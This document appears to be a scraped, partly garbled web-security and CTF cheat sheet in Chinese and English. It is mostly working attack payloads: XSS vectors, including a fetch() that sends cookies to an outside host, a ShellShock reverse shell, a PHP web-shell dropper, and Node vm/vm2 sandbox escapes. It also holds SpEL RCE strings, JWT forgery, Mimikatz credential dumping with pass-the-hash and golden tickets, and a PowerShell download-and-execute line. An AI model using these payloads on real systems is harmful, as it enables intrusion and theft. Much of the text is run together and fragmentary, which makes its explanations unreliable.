<svg>,HTML Entities 會被解析<svg> 會失敗,<script>不會解析Entities<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>"><% foo="><script>alert(1)</script>">Markdown XSS
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
<iframe srcdoc="<svg/onload=alert(document.domain)>">
.wave 檔 (會檢查 signatures)
RIFF`....WAVE...`
alert(1);
function RIFF(){}
<script src="uploads/this_file.wave">:~:text=xxxhttps://csp-evaluator.withgoogle.com/
base
<base href ="http://kaibro.tw/">script nonce
<p>可控內容<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
插入<script src="http//kaibro.tw/uccu.js" a="
<p><script src="http//kaibro.tw/uccu.js" a="<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
Script Gadget
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div><div data-role=popup id='--><script>alert(1)</script>'></div><a id=CLOSURE_BASE_PATH href=http://attacker/xss></a><div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{"><div type=underscore/template> <% alert(1) %> </div>google analytics ea
known jsonp endpoint
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1PHP Warnings
header() is called, the call will be ignored because the response was already sent to the user and headers must be sent first.$_GET / $_POST: maximum 1000 parametersDNS prefetch
<link rel="dns-prefetch" href="https://data.example.com">WebRTC
default-src 'none'; script-src 'unsafe-inline';async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();
Tool
text/rdf / application/rdf+xmltext/vttContent-* 屬性Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
$.getJSON / $.ajax XSS
http://kaibro.tw/x.php?callback=anythinga%2findex.php 當成一個檔案a/index.php/test.php 中有 <link href="1/" ...>/1/index.php 給 ?query= 參數,會直接輸出該參數內容/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php 就會讓背景變紅色
/test.php/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
/1/?query={}*{background-color:red}/../../1/<input type='hidden' name='csrf' value='2e3d04bf...'>input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}window.frames.length 來判斷
#做請求,正常不會再觸發onload事件chrome-error://chromewebdata/#history.length判斷<link rel=prerender href="victim.com"><form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
id 屬性被當成全域變數name 屬性被當成 document 屬性<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>
這裡第一個 script block 因為錯誤被跳過,第二個 script block 依舊會執行 (常拿來繞檢查)
toString 問題
<form id=test1><input name=test2></form>
<script>
alert(test1.test2); // "[object HTMLInputElement]"
</script>
<a> 的 href 可以解決 toString 問題: <a id=test1 href=http://kaibro.tw>
alert(test1); => http://kaibro.tw<form id=test1><a name=test2 href=http://kaibro.tw></form> 依舊有問題
alert(test1.test2); => undefined<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>
name 屬性也會直接變成 HTMLCollection 的屬性:
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>
Element.attachShadow() 可以將一個 Shadow root 附加到一個元素上
{mode:"open"} 或是 {mode:"closed"}
Elements of the shadow root are accessible from JavaScript outside the rootDenies access to the node(s) of a closed shadow root from JavaScript outside itwindow.find + -webkit-user-modify + document.execCommand
-webkit-user-modify:read-write 屬性,可以讓 shadow DOM 做到 contenteditable 效果window.find() 可以 focus shadow DOM 中的內容document.execCommand() 去插入 HTML,透過 svg 執行 JS 取得節點
document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')php 7.1.0 後 rand() 和 srand() 已經等同 mt_rand() 和 mt_srand()
php > 4.2.0 會自動對 srand() 和 mt_srand() 播種
rand() 都 seed可以通過已知的 random 結果,去推算隨機數種子,然後就可以推算整個隨機數序列
實際應用上可能會碰到連上的不是同個 process,可以用 Keep-Alive 來確保連上同個 php process (只會 seed 一次)
7.1 以前 rand() 使用 libc random(),其核心為: state[i] = state[i-3] + state[i-31]
rand() alias 成 mt_rand(),採用的是 Mersenne Twister 算法Example: HITCON 2015 - Giraffe’s Coffee
user=kaibro;role=user
| 用來區隔 Block)
user=aaa|admin;ro|le=useruser=aaa|aa;role=|useruser=aaa|aa;role=|admin;roECB(K, A + B + C) 的運算結果可知
...bbbb bbaa aaaa aaaa cccc ......???? ???? 5678 5678 ???? ...ECB(K, "aa...a" + C[0]) 這個 Block 的內容A XOR B = CXA XOR C XOR X(A XOR C XOR X) XOR B = XPKCS#7
AA AA AA AA AA AA AA 01AA AA AA AA AA AA 02 02AA AA AA AA AA 03 03 0308 08 08 08 08 08 08 08AA AA AA AA AA AA 01 01AA AA 02 02 02 02 02 02A||B 去解密 (A, B 是密文 Block)D(B) XOR AD(B) 的值
01 結尾02 02 結尾,可以調整一下 A 倒數第 2 ByteD(B)[-1] XOR A[-1] = 01D(B)[-1] = A[-1] XOR 01D(B) XOR C 就能得到明文 ( C 為前一塊真正的密文)md5, sha1, sha256...0x80 + 一堆 0x00+8 bytes 的長度md5(secret+message)secret長度message內容md5(secret+message+padding+任意字串)md5(secret+message) 的值message 的值secert長度md5(secret+message+padding+任意字串) 和 message+padding+任意字串 噴給你Information leak
文件解析漏洞
cgi.fix_pathinfo=1<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>kaibro.jpg/.php生成shell.phpAWS常見漏洞
nslookup 87.87.87.87s3-website-us-west-2.amazonaws.com.bucketname.s3.amazonaws.comaws s3 ls s3://bucketname/ --region regionnameaws sync s3://bucketname/ localdir --region regionnameJWT (Json Web Token)
重置算法 None
import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]降級算法
import jwt
public = open('public.pem', 'r').read() # public key
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
暴力破解密鑰
./jwtcrack eyJhbGci....kid 參數 (key ID)
"kid" : "/etc/passwd""kid" : "key11111111' || union select 'secretkey' -- ""/path/to/key_file|whoami"jku
敏感訊息洩漏
jwt.io
常見 Port 服務
php -i | grep "Loaded Configuration File"
HTTP Method
curl -i -X OPTIONS 'http://evil.com/'if(request.method == get) {...} else {...}GET 請求,也會自動接受 HEAD (ref)ShellShock
() { :; }; echo vulnerable() { :a; }; /bin/cat /etc/passwd() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'X-forwarded-for 偽造來源IP
Client-IPX-Client-IPX-Real-IPX-Remote-IPX-Remote-AddrX-HostX-Forwarded-For header,可以讓真實 IP 被包在 IP list 中間 (Spoofing)DNS Zone Transfer
dig @1.2.3.4 abc.com axfr
1.2.3.4abc.comIIS 短檔名列舉
administrator 可以簡寫成 admini~1webClient.DownloadString("http://../inetpub/wwwroot/aspowertools/FLAGFL~1.MAS")java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/ASP.net Cookieless DuoDrop (CVE-2023-36899 & CVE-2023-36560)
/WebForm/(S(X))/prot/(S(X))ected/target1.aspx/WebForm/(S(X))/b/(S(X))in/target2.aspx/WebForm/pro/(S(X))tected/target1.aspx/(S(X))//WebForm/b/(S(X))in/target2.aspx/(S(X))//(S(x))/b/(S(x))in/ASPowerTools.dll/(S(X))/prot/(S(X))ected/login.aspxNodeJS unicode failure
NN => ..
N 即 \xff\x2e特殊的 CRLF Injection 繞過
%E5%98%8AU+560A0x56, 0x0AMySQL utf8 v.s. utf8mb4
Proxy 相關
/path;param/abcd => /path/abcd/path;param/abcd => /path..;/manager
/docs/..;/manager/html
/docs/..;/manager/html/manager/html/console/ (location ~* /console/)
/..;/console;/flag
/..;/console;/flag/console/flag/admin
proxy_pass http://apache (No trailing slash,以原始資料送到後端)/admin//../flag
/flag/admin/flag/console
proxy_pass http://weblogic;
//console/#/../console/admin/admin/key\x09HTTP/1.1/../../../
//admin/keykeep-alive + CONNECT + 2xx status,會讓其處於 tunnel mode,不採用任何 rulesGunicorn SCRIPT_NAME
SCRIPT_NAME 可以改變 base path
SCRIPT_NAME=test,/a/b/test/flag => /flagSCRIPT_NAME 可以透過 HTTP Header 設定
SCRIPT_NAME: aunderscores_in_headers 才能允許 header 中的 _Nginx internal繞過
X-Accel-RedirectNginx 目錄穿越漏洞
location /files {
alias /home/
}
/files 沒有加上結尾 /,而 /home/ 有/files../ 可以訪問上層目錄Nginx add_header
add_header 才會設定 headerNginx $url CRLF Injection
$uri 是解碼後的請求路徑,可能包含換行,有機會導致 CRLF Injection
$request_uriproxy_pass https://volga-static-site.s3.amazonaws.com$uri;Javascript 大小寫特性
"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'"K".toLowerCase() == 'k'Javascript replace 特性
$> "123456".replace("34", "xx")
'12xx56'
> "123456".replace("34", "$`")
'121256'
> "123456".replace("34", "$&")
'123456'
> "123456".replace("34", "$'")
'125656'
> "123456".replace("34", "$$")
'12$56'
Javascript Proxy
var p = new Proxy({flag: window.flag || 'flag'}, { get: () => 'nope' }Object.getOwnPropertyDescriptor(p, 'flag')Node.js 目錄穿越漏洞
/static/../../../foo/../../../../etc/passwdNode.js vm escape
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()/^[a-zA-Z0-9 ${}`]+$/gFunction`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``Node.js vm2 escape
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule
.require('child_process')
.execSync('echo "flag is here" > flag');
}
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
)
}
}
};
p.then();
Apache Tomcat Session 操縱漏洞
/examples/servlets /servlet/SessionExamplepolyglot image + .htaccess
exif_imagetype() 中.htaccess 格式#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
AutoBinding / Mass Assignment
@ModelAttribute@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
EL Injection / SpEL Injection
${"a".toString()}${"".getClass()}${applicationScope}${sessionScope.toString()}${pageContext.request.getSession().setAttribute("admin", true)}${T(java.lang.Runtime).getRuntime().exec("<my command here>")}${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}GraphQL
{ __schema { types { name } } }{__schema{types{name,fields{name}}}}{ __type (name: "Query") { name fields { name type { name kind ofType { name kind } } } } }{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",{__schema}{}{somerandomshit}__debug 來取得詳細資訊,例如 sql 執行語句[{ query: 'query { book(id: 1) { __typename } }' },{ query: 'query { book(id: 1) { __typename } }' }]{"query": "query { kaibro: Query { meow } kaibro1: Query { meow } }"}/graphql?query=query+%7B+a+%7Dx-www-form-urlencoded 仍可執行query { books { title author { title books { title author { ... } } } } }query { book(id: 1) { __typename alias: __typename alias2: __typename alias3: __typename alias4: __typename } }HTTP2 Push
Symlink
ln -s ../../../../../../etc/passwd kaibro.linkzip --symlink bad.zip kaibro.linkcurl trick
curl 'fi[k-m]e:///etc/passwdcurl '{asd,bb}'tcpdump
-i 指定網卡,不指定則監控所有網卡-s 默認只抓96bytes,可以-s指定更大數值-w 指定輸出檔host 指定主機(ip or domain)dst, src 來源或目的端port指定端口tcp, udp, icmp 指定協議tcpdump -i eth0 src 192.168.1.34 and dst port 80tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'tcpdump -i eth0 src kaibro.tw -w file.caphttps://github.com/denny0223/scrabble
https://github.com/lijiejie/ds_store_exp
https://github.com/kost/dvcs-ripper
unicode converter
PHP混淆 / 加密
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
DNSLog
DNS rebinding
# butit still works
A.192.168.1.1.forever.rebind.network
#alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
#first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
#respond with 52.23.194.42 the first time, then whatever `whonow--default-address`
# isset to forever after that (default: 127.0.0.1)
A.52.23.194.42.1time.rebind.network
36573657.7f000001.rbndr.ushttps://r12a.github.io/apps/encodings/
Mimikatz
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txtpowershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1asekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9kerberos::tgt (Displays informations about the TGT of the current session)sekurlsa::tickets /exportkerberos::ptt Administrator@krbtgt-KAIBRO.LOCAL.kirbikerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::purge (Purges all tickets of the current session)WASM
Welcome to open Pull Request
OR
2,396 followers · starred Sep 2019
164 followers · starred Jul 2019
146 followers · starred Jul 2021
90 followers · starred Nov 2025